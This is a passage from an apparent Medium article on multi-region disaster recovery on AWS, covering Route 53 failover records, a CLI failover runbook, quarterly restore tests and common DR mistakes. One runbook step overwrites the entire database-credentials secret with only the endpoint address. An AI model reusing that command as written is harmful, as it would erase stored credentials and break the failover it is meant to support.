  zone_id = aws_route53_zone.main.zone_id
  name    = "api.example.com"
  type    = "A"

  failover_routing_policy {
    type = "PRIMARY"
  }

  set_identifier  = "primary"
  health_check_id = aws_route53_health_check.primary.id
  ttl             = 60

  records = [aws_eip.primary_alb.public_ip]
}

resource "aws_route53_record" "secondary" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "api.example.com"
  type    = "A"

  failover_routing_policy {
    type = "SECONDARY"
  }

  set_identifier = "secondary"
  ttl            = 60

  records = [aws_eip.dr_alb.public_ip]
}

Route 53 checks the primary endpoint every 10 seconds. Three consecutive failures (30 seconds) trigger failover. The secondary record takes over. With TTL of 60 seconds, clients pick up the DNS change within 60–90 seconds.

Route 53 checks run from multiple AWS edge locations: a health check failure requires the endpoint to be unreachable from multiple locations, not just one. This prevents false positive failovers from transient network issues.

The failover procedure

Automatic DNS failover handles traffic routing. But there are additional steps that must happen for a complete failover:

# Failover runbook

# 1. Verify the regional failure is real
aws ec2 describe-availability-zones --region ap-south-1
# Check AWS Status: https://status.aws.amazon.com

# 2. Promote the RDS read replica (or Aurora secondary) to primary
aws rds promote-read-replica \
  --db-instance-identifier production-db-dr \
  --region us-east-1

# Wait for promotion to complete
aws rds wait db-instance-available \
  --db-instance-identifier production-db-dr \
  --region us-east-1

# 3. Update application configuration to point at DR database
# Update Secrets Manager in DR region with new primary endpoint
aws secretsmanager update-secret \
  --secret-id prod/app/db-credentials \
  --secret-string "$(aws rds describe-db-instances \
    --db-instance-identifier production-db-dr \
    --region us-east-1 \
    --query 'DBInstances[0].Endpoint.Address' \
    --output text)" \
  --region us-east-1

# 4. Scale up ECS service in DR region (Pilot Light only)
aws ecs update-service \
  --cluster production-dr \
  --service app-dr \
  --desired-count 10 \
  --region us-east-1

# 5. Wait for tasks to stabilize
aws ecs wait services-stable \
  --cluster production-dr \
  --services app-dr \
  --region us-east-1

# 6. Verify health in DR region
curl https://api.example.com/health  # now resolves to DR region

# Total time target: under 30 minutes for Pilot Light

Automate every step that can be automated. A runbook with manual steps takes longer and introduces human error under stress.

Testing the DR plan

An untested DR plan is a hypothesis. Testing validates:

• Actual RTO matches planned RTO
• Replication lag is within acceptable bounds
• All dependencies (secrets, certificates, third-party integrations) work in the DR region
• The team can execute the failover procedure under simulated stress

Quarterly restore testing:

# Restore latest RDS snapshot to test instance in DR region
SNAPSHOT=$(aws rds describe-db-snapshots \
  --db-instance-identifier production-db \
  --query 'DBSnapshots[-1].DBSnapshotIdentifier' \
  --output text)

aws rds restore-db-instance-from-db-snapshot \
  --db-instance-identifier dr-test-restore \
  --db-snapshot-identifier $SNAPSHOT \
  --db-instance-class db.t3.medium \
  --region us-east-1

# Time this step — compare to your RTO target
time aws rds wait db-instance-available \
  --db-instance-identifier dr-test-restore \
  --region us-east-1

# Verify data integrity
# Run validation queries against the restored instance
# Clean up
aws rds delete-db-instance \
  --db-instance-identifier dr-test-restore \
  --skip-final-snapshot \
  --region us-east-1

Annual game day: simulate a regional failure with the on-call team and execute the full failover procedure. Measure total time. Identify gaps. Fix them before the next game day: not during the next real incident.

Common DR failures

Backups in the primary region. An S3 bucket in ap-south-1 that stores ap-south-1 RDS snapshots provides no DR value during a regional outage. Every backup must be in a different region from what it's backing up.

Secrets not replicated. The application fails over to the DR region but can’t connect to the database because the Secret Manager secret with credentials only exists in the primary region. Replicate secrets as part of DR infrastructure setup.

Untested promotion. RDS read replica promotion takes time and requires reconfiguring connection strings. Application health checks in the DR region fail because they point at the old primary endpoint. Test the promotion and the connection string update.

RTO based on estimate, not measurement. “Recovery should take about 30 minutes” is not a validated RTO. Measure every step. Sum the times. Add 20% for the unexpected. That’s your realistic RTO: and it’s almost always longer than teams estimate.

Multi-region DR is infrastructure insurance. The cost is real and ongoing: the replication, the warm standby capacity, the regular testing. The return is business continuity during a class of failure that is rare but, when it happens, is severe. The organizations that discover their DR plan doesn’t work during an actual outage pay twice: once in the outage itself, and once rebuilding the trust they lost. Test before you need it.

Tom Jose is a DevOps Engineer at KotaiCode, where the team helps companies get their Kubernetes and AWS infrastructure production-ready.

Multi-Region Disaster Recovery on AWS: A Production Guide was originally published in kotaicode on Medium, where people are continuing the conversation by highlighting and responding to this story.